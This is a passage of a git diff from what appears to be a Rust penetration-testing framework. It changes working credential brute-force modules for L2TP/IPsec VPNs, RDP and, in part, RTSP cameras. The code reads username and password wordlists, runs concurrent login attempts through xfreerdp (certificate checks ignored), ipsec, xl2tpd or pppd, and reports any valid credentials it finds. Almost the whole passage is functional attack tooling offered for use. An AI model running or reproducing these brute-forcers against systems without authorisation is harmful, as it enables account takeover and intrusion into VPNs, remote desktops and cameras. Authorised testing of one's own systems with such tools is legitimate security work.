conn_name, server_ip
);
// Build secrets file
let ipsec_secrets = format!(
r#"{} : PSK "{}"
{} : XAUTH "{}"
"#,
server_ip, psk_value, username, password
);
// Write config files
std::fs::write(&ipsec_conf_path, ipsec_conf)
.map_err(|e| anyhow!("Failed to write IPsec config: {}", e))?;
std::fs::write(&ipsec_secrets_path, ipsec_secrets)
.map_err(|e| anyhow!("Failed to write IPsec secrets: {}", e))?;
// Set permissions on secrets file (should be 600)
#[cfg(unix)]
{
use std::os::unix::fs::PermissionsExt;
let mut perms = std::fs::metadata(&ipsec_secrets_path)?.permissions();
perms.set_mode(0o600);
std::fs::set_permissions(&ipsec_secrets_path, perms)?;
}
// Try to establish connection using ipsec
// Note: This requires root privileges and proper strongswan setup
// strongswan typically reads from /etc/ipsec.conf and /etc/ipsec.secrets
// For a bruteforce tool, we'd ideally use temporary configs, but ipsec
// doesn't easily support that. This is a framework implementation.
// In practice, you might need to:
// 1. Run as root
// 2. Temporarily modify system config files, or
// 3. Use strongswan's swanctl with custom configs
// Try using ipsec up command (requires proper system configuration)
let mut child = Command::new("ipsec")
.arg("up")
.arg(&conn_name)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check if connection was established
// Exit code 0 typically means success
Ok(status.success())
}
Ok(Err(e)) => {
Err(anyhow!("strongswan error: {}", e))
}
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up connection
let _ = Command::new("ipsec")
.arg("down")
.arg(&conn_name)
.output()
.await;
// Clean up temp files
let _ = std::fs::remove_file(&ipsec_conf_path);
let _ = std::fs::remove_file(&ipsec_secrets_path);
result
}
async fn try_l2tp_xl2tpd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// xl2tpd requires configuration files
// Create temporary config files for this attempt
let temp_dir = std::env::temp_dir();
let conn_name = format!("l2tp_brute_{}", std::process::id());
let xl2tpd_conf_path = temp_dir.join(format!("{}.xl2tpd.conf", conn_name));
let ppp_secrets_path = temp_dir.join(format!("{}.chap-secrets", conn_name));
let server_ip = addr.split(':').next().unwrap_or(addr);
// Build xl2tpd config
let xl2tpd_conf = format!(
r#"[lac {}]
lns = {}
ppp debug = no
pppoptfile = /etc/ppp/options.xl2tpd
length bit = yes
"#,
conn_name, server_ip
);
// Build PPP secrets (CHAP)
let ppp_secrets = format!(
r#"{} * {} *
"#,
username, password
);
// Write config files
std::fs::write(&xl2tpd_conf_path, xl2tpd_conf)
.map_err(|e| anyhow!("Failed to write xl2tpd config: {}", e))?;
std::fs::write(&ppp_secrets_path, ppp_secrets)
.map_err(|e| anyhow!("Failed to write PPP secrets: {}", e))?;
// Try to connect using xl2tpd-control
// Note: xl2tpd must be running and configured
let mut child = Command::new("xl2tpd-control")
.arg("connect")
.arg(&conn_name)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check if connection was established
Ok(status.success())
}
Ok(Err(e)) => Err(anyhow!("xl2tpd error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up connection
let _ = Command::new("xl2tpd-control")
.arg("disconnect")
.arg(&conn_name)
.output()
.await;
// Clean up temp files
let _ = std::fs::remove_file(&xl2tpd_conf_path);
let _ = std::fs::remove_file(&ppp_secrets_path);
result
}
#[cfg(target_os = "linux")]
async fn try_l2tp_pppd(addr: &str, username: &str, password: &str, _psk: &Option<String>, timeout_duration: Duration) -> Result<bool> {
// pppd with L2TP plugin
// This requires proper configuration and typically root privileges
let server_ip = addr.split(':').next().unwrap_or(addr);
// Create temporary options file for pppd
let temp_dir = std::env::temp_dir();
let options_file = temp_dir.join(format!("pppd_options_{}.txt", std::process::id()));
let options_content = format!(
r#"noauth
user {}
password {}
plugin pppol2tp.so
pppol2tp_server {}
"#,
username, password, server_ip
);
std::fs::write(&options_file, options_content)
.map_err(|e| anyhow!("Failed to write pppd options: {}", e))?;
let mut child = Command::new("pppd")
.arg("nodetach")
.arg("file")
.arg(&options_file)
.stdout(std::process::Stdio::piped())
.stderr(std::process::Stdio::piped())
.spawn()?;
let result = match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// pppd returns 0 on successful connection
Ok(status.success())
}
Ok(Err(e)) => Err(anyhow!("pppd error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
};
// Clean up temp file
let _ = std::fs::remove_file(&options_file);
result
}
fn normalize_target(host: &str, default_port: u16) -> Result<String> {
let re = Regex::new(r"^\[*(?P<addr>[^\]]+?)\]*(?::(?P<port>\d{1,5}))?$").unwrap();
let trimmed = host.trim();
let caps = re
.captures(trimmed)
.ok_or_else(|| anyhow!("Invalid target format: {}", host))?;
let addr = caps.name("addr").unwrap().as_str();
let port = if let Some(m) = caps.name("port") {
m.as_str()
.parse::<u16>()
.map_err(|_| anyhow!("Invalid port value in target '{}'", host))?
} else {
default_port
};
let formatted = if addr.contains(':') && !addr.contains('.') {
format!("[{}]:{}", addr, port)
} else {
format!("{}:{}", addr, port)
};
Ok(formatted)
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
default_val.to_string()
} else {
trimmed.to_string()
})
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
if input.is_empty() {
return Ok(default_yes);
} else if input == "y" || input == "yes" {
return Ok(true);
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
fn prompt_optional(msg: &str) -> Result<Option<String>> {
print!("{}", format!("{} (optional, press Enter to skip): ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
Ok(if trimmed.is_empty() {
None
} else {
Some(trimmed.to_string())
})
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.map(|line| line.trim().to_string())
.filter(|line| !line.is_empty())
.collect())
}
fn log(verbose: bool, msg: &str) {
if verbose {
println!("{}", msg);
}
}
fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let path = Path::new(input_path_str);
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('\\')
{
"l2tp_results.txt"
} else {
filename_component.as_ref()
};
PathBuf::from(format!("./{}", final_name))
}
-5
View File
@@ -4,13 +4,8 @@
pub mod ftp_anonymous;
pub mod telnet_bruteforce;
pub mod ssh_bruteforce;
pub mod ssh_user_enum;
pub mod ssh_spray;
pub mod rtsp_bruteforce_advanced;
pub mod rdp_bruteforce;
pub mod enablebruteforce;
pub mod smtp_bruteforce;
pub mod pop3_bruteforce;
pub mod snmp_bruteforce;
pub mod fortinet_bruteforce;
pub mod l2tp_bruteforce;
File diff suppressed because it is too large Load Diff
+86 -462
View File
@@ -1,171 +1,36 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use anyhow::Result;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
path::{Path, PathBuf},
sync::Arc,
sync::atomic::{AtomicBool, AtomicU64, Ordering},
time::Instant,
};
use tokio::{
process::Command,
sync::{Mutex, Semaphore},
time::{sleep, Duration, timeout},
time::{sleep, Duration},
};
const PROGRESS_INTERVAL_SECS: u64 = 2;
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ RDP Brute Force Module ║".cyan());
println!("{}", "║ Remote Desktop Protocol Credential Testing ║".cyan());
println!("{}", "║ Requires xfreerdp or rdesktop ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("=== RDP Brute Force Module ===");
println!("[*] Target: {}", target);
let port: u16 = loop {
let input = prompt_default("RDP Port", "3389")?;
match input.trim().parse::<u16>() {
Ok(p) if p > 0 => break p,
Ok(_) => println!("{}", "Port must be between 1 and 65535.".yellow()),
Err(_) => println!("{}", "Invalid port number. Please enter a number between 1 and 65535.".yellow()),
match input.parse() {
Ok(p) => break p,
Err(_) => println!("Invalid port. Please enter a number."),
}
};
let usernames_file_path = loop {
let input = prompt_required("Username wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let passwords_file_path = loop {
let input = prompt_required("Password wordlist path")?;
let path = Path::new(&input);
if !path.exists() {
println!("{}", format!("File '{}' does not exist.", input).yellow());
continue;
}
if !path.is_file() {
println!("{}", format!("'{}' is not a regular file.", input).yellow());
continue;
}
match File::open(path) {
Ok(_) => break input,
Err(e) => {
println!("{}", format!("Cannot read file '{}': {}", input, e).yellow());
continue;
}
}
};
let usernames_file_path = prompt_required("Username wordlist path")?;
let passwords_file_path = prompt_required("Password wordlist path")?;
let concurrency: usize = loop {
let input = prompt_default("Max concurrent tasks", "10")?;
match input.trim().parse::<usize>() {
Ok(n) if n > 0 && n <= 10000 => break n,
Ok(n) if n == 0 => println!("{}", "Concurrency must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Concurrency must be between 1 and 10000.".yellow()),
Err(_) => println!("{}", "Invalid number. Please enter a positive integer.".yellow()),
}
};
let timeout_secs: u64 = loop {
let input = prompt_default("Connection timeout (seconds)", "10")?;
match input.trim().parse::<u64>() {
Ok(n) if n > 0 && n <= 300 => break n,
Ok(n) if n == 0 => println!("{}", "Timeout must be greater than 0.".yellow()),
Ok(_) => println!("{}", "Timeout must be between 1 and 300 seconds.".yellow()),
Err(_) => println!("{}", "Invalid timeout. Please enter a number between 1 and 300.".yellow()),
match input.parse() {
Ok(n) if n > 0 => break n,
_ => println!("Invalid number. Must be greater than 0."),
}
};
@@ -181,249 +46,90 @@ pub async fn run(target: &str) -> Result<()> {
let addr = format_socket_address(target, port);
let found_credentials = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let stats = Arc::new(Statistics::new());
let stop_signal = Arc::new(Mutex::new(false));
println!("\n[*] Starting brute-force on {}", addr);
println!("[*] Timeout: {} seconds", timeout_secs);
// Count lines for display
let user_count = count_lines(&usernames_file_path)?;
if user_count == 0 {
let users = load_lines(&usernames_file_path)?;
if users.is_empty() {
println!("[!] Username wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} usernames", user_count);
let password_count = count_lines(&passwords_file_path)?;
if password_count == 0 {
let passwords = load_lines(&passwords_file_path)?;
if passwords.is_empty() {
println!("[!] Password wordlist is empty or invalid. Exiting.");
return Ok(());
}
println!("[*] Loaded {} passwords", password_count);
let total_attempts = if combo_mode { user_count * password_count } else { password_count };
println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let semaphore = Arc::new(Semaphore::new(concurrency));
let mut tasks: FuturesUnordered<_> = FuturesUnordered::new();
let mut handles = vec![];
let mut user_cycle_idx = 0;
if combo_mode {
// Try every password with every user - read line by line
let user_file = File::open(&usernames_file_path)?;
let user_reader = BufReader::new(user_file);
for user_line in user_reader.lines() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let user = match user_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if user.is_empty() {
continue;
}
// Open password file for each user
let pass_file = File::open(&passwords_file_path)?;
let pass_reader = BufReader::new(pass_file);
for pass_line in pass_reader.lines() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let pass = match pass_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if pass.is_empty() {
continue;
}
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let timeout_duration = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user_clone, pass_clone).green().bold());
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user_clone, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
}
}
}
}
'password_loop: for pass in passwords {
if *stop_signal.lock().await {
break 'password_loop;
}
} else {
// Try passwords sequentially, cycling through users - read line by line
let pass_file = File::open(&passwords_file_path)?;
let pass_reader = BufReader::new(pass_file);
// Load users into memory for cycling (needed for modulo access)
let users = load_lines(&usernames_file_path)?;
for (i, pass_line) in pass_reader.lines().enumerate() {
if stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
let current_users_for_this_pass = if combo_mode {
users.clone()
} else {
let user_for_this_pass = users[user_cycle_idx % users.len()].clone();
user_cycle_idx += 1;
vec![user_for_this_pass]
};
for user in current_users_for_this_pass {
if *stop_signal.lock().await {
break 'password_loop; // Break outer loop if stopping
}
let pass = match pass_line {
Ok(line) => line.trim().to_string(),
Err(_) => continue,
};
if pass.is_empty() {
continue;
}
let user = users[i % users.len()].clone();
let addr_clone = addr.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let semaphore_clone = Arc::clone(&semaphore);
let stats_clone = Arc::clone(&stats);
let verbose_flag = verbose;
let stop_on_success_flag = stop_on_success;
let timeout_duration = Duration::from_secs(timeout_secs);
let permit = Arc::clone(&semaphore).acquire_owned().await?;
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let found_credentials_clone = Arc::clone(&found_credentials);
let stop_signal_clone = Arc::clone(&stop_signal);
let handle = tokio::spawn(async move {
let _permit_guard = permit; // Permit dropped when task finishes
tasks.push(tokio::spawn(async move {
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_on_success_flag && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
if *stop_signal_clone.lock().await {
return;
}
match try_rdp_login(&addr_clone, &user, &pass_clone, timeout_duration).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass_clone).green().bold());
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user.clone(), pass_clone.clone()));
stats_clone.record_attempt(true, false);
if stop_on_success_flag {
stop_signal_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_attempt(false, false);
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_attempt(false, true);
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
match try_rdp_login(&addr_clone, &user_clone, &pass_clone).await {
Ok(true) => {
println!("[+] SUCCESS: {} -> {}:{}", addr_clone, user_clone, pass_clone);
let mut found = found_credentials_clone.lock().await;
found.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone()));
if stop_on_success {
*stop_signal_clone.lock().await = true;
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit concurrent tasks
if tasks.len() >= concurrency {
if let Some(res) = tasks.next().await {
if let Err(e) = res {
log(verbose, &format!("[!] Task join error: {}", e));
Ok(false) => {
log(verbose, &format!("[-] ATTEMPT: {} -> {}:{}", addr_clone, user_clone, pass_clone));
}
Err(e) => {
log(verbose, &format!("[!] ERROR for {}:{}/{}: {}", addr_clone, user_clone, pass_clone, e));
}
}
}
sleep(Duration::from_millis(10)).await;
});
handles.push(handle);
}
}
// Wait for remaining tasks
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
println!("\r{}", format!("[!] Task join error: {}", e).red());
}
}
for handle in handles {
handle.await?; // Propagate JoinErrors if any task panicked
}
// Stop progress reporter
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final();
let creds = found_credentials.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found.".yellow());
println!("\n[-] No credentials found.");
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
println!("\n[+] Valid credentials found:");
for (host_addr, user, pass) in creds.iter() {
println!(" {} -> {}:{}", host_addr, user, pass);
}
@@ -450,112 +156,41 @@ pub async fn run(target: &str) -> Result<()> {
Ok(())
}
async fn try_rdp_login(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
// Check if xfreerdp is available
let xfreerdp_check = Command::new("which")
.arg("xfreerdp")
.output()
.await;
let use_xfreerdp = if let Ok(output) = xfreerdp_check {
output.status.success()
} else {
false
};
if !use_xfreerdp {
// Fallback: try rdesktop if xfreerdp is not available
let rdesktop_check = Command::new("which")
.arg("rdesktop")
.output()
.await;
let use_rdesktop = if let Ok(output) = rdesktop_check {
output.status.success()
} else {
false
};
if use_rdesktop {
return try_rdp_login_rdesktop(addr, user, pass, timeout_duration).await;
}
return Err(anyhow!("Neither xfreerdp nor rdesktop is available. Please install one of them."));
}
// Use xfreerdp for authentication
async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
let mut child = Command::new("xfreerdp")
.arg(format!("/v:{}", addr))
.arg(format!("/u:{}", user))
.arg(format!("/p:{}", pass))
.arg("/cert:ignore")
.arg(format!("/timeout:{}", timeout_duration.as_secs() * 1000))
.arg("/timeout:5000")
.arg("+auth-only") // Attempt authentication without full desktop session
.arg("/log-level:OFF")
.arg("/sec:nla") // Use Network Level Authentication
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.stderr(std::process::Stdio::null()) // Suppress stderr as well for cleaner output unless specific errors are parsed
.spawn()?;
// Wait for process with timeout
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => {
// Check exit code - 0 typically means success
Ok(status.success())
}
Ok(Err(e)) => {
Err(anyhow!("Process error: {}", e))
}
Err(_) => {
// Timeout - kill the process
let _ = child.kill().await;
Ok(false)
}
}
}
async fn try_rdp_login_rdesktop(addr: &str, user: &str, pass: &str, timeout_duration: Duration) -> Result<bool> {
// Fallback to rdesktop (less reliable but sometimes available)
let mut child = Command::new("rdesktop")
.arg("-u")
.arg(user)
.arg("-p")
.arg(pass)
.arg("-n")
.arg("auth-only")
.arg(addr)
.stdout(std::process::Stdio::null())
.stderr(std::process::Stdio::null())
.spawn()?;
match timeout(timeout_duration, child.wait()).await {
Ok(Ok(status)) => Ok(status.success()),
Ok(Err(e)) => Err(anyhow!("Process error: {}", e)),
Err(_) => {
let _ = child.kill().await;
Ok(false)
}
}
let status = child.wait().await?;
Ok(status.success())
}
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
print!("{}: ", msg);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("{}", "This field is required. Please provide a value.".yellow());
println!("This field is required. Please provide a value.");
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
print!("{} [{}]: ", msg, default_val);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let trimmed = s.trim();
@@ -567,10 +202,10 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
}
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush().map_err(|e| anyhow!("Failed to flush stdout: {}", e))?;
print!("{} {} : ", msg, options);
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
let input = s.trim().to_lowercase();
@@ -581,25 +216,14 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
}
}
}
fn count_lines<P: AsRef<Path>>(path: P) -> Result<usize> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
.filter_map(Result::ok)
.filter(|line| !line.trim().is_empty())
.count())
}
fn load_lines<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
let file = File::open(path.as_ref())
.map_err(|e| anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
.map_err(|e| anyhow::anyhow!("Failed to open file '{}': {}", path.as_ref().display(), e))?;
let reader = BufReader::new(file);
Ok(reader
.lines()
@@ -620,15 +244,15 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
let filename_component = path
.file_name()
.map(|os_str| os_str.to_string_lossy())
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str));
.unwrap_or_else(|| std::borrow::Cow::Borrowed(input_path_str)); // Fallback to input if no filename part
let final_name = if filename_component.is_empty()
|| filename_component == "."
|| filename_component == ".."
|| filename_component.contains('/')
|| filename_component.contains('/') // Ensure it's not a path segment
|| filename_component.contains('\\')
{
"rdp_results.txt"
"rdp_brute_results.txt" // A robust default filename
} else {
filename_component.as_ref()
};
@@ -638,9 +262,9 @@ fn get_filename_in_current_dir(input_path_str: &str) -> PathBuf {
fn format_socket_address(ip: &str, port: u16) -> String {
let trimmed_ip = ip.trim_matches(|c| c == '[' || c == ']');
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") {
if trimmed_ip.contains(':') && !trimmed_ip.contains("]:") { // Basic IPv6 check, avoid re-bracketing if port already there
format!("[{}]:{}", trimmed_ip, port)
} else {
format!("{}:{}", trimmed_ip, port)
}
}
}
@@ -1,109 +1,24 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::{BufRead, BufReader, Write},
net::SocketAddr,
path::{Path, PathBuf},
sync::Arc,
time::Instant,
};
use std::sync::atomic::{AtomicBool, AtomicU64, Ordering};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
sync::Mutex,
time::{sleep, Duration},
};
const PROGRESS_INTERVAL_SECS: u64 = 2;
struct Statistics {
total_attempts: AtomicU64,
successful_attempts: AtomicU64,
failed_attempts: AtomicU64,
error_attempts: AtomicU64,
start_time: Instant,
}
impl Statistics {
fn new() -> Self {
Self {
total_attempts: AtomicU64::new(0),
successful_attempts: AtomicU64::new(0),
failed_attempts: AtomicU64::new(0),
error_attempts: AtomicU64::new(0),
start_time: Instant::now(),
}
}
fn record_attempt(&self, success: bool, error: bool) {
self.total_attempts.fetch_add(1, Ordering::Relaxed);
if error {
self.error_attempts.fetch_add(1, Ordering::Relaxed);
} else if success {
self.successful_attempts.fetch_add(1, Ordering::Relaxed);
} else {
self.failed_attempts.fetch_add(1, Ordering::Relaxed);
}
}
fn print_progress(&self) {
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
let rate = if elapsed > 0.0 { total as f64 / elapsed } else { 0.0 };
print!(
"\r{} {} attempts | {} OK | {} fail | {} err | {:.1}/s ",
"[Progress]".cyan(),
total.to_string().bold(),
success.to_string().green(),
failed,
errors.to_string().red(),
rate
);
let _ = std::io::stdout().flush();
}
fn print_final(&self) {
println!();
let total = self.total_attempts.load(Ordering::Relaxed);
let success = self.successful_attempts.load(Ordering::Relaxed);
let failed = self.failed_attempts.load(Ordering::Relaxed);
let errors = self.error_attempts.load(Ordering::Relaxed);
let elapsed = self.start_time.elapsed().as_secs_f64();
println!("{}", "=== Statistics ===".bold());
println!(" Total attempts: {}", total);
println!(" Successful: {}", success.to_string().green().bold());
println!(" Failed: {}", failed);
println!(" Errors: {}", errors.to_string().red());
println!(" Elapsed time: {:.2}s", elapsed);
if elapsed > 0.0 {
println!(" Average rate: {:.1} attempts/s", total as f64 / elapsed);
}
}
}
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
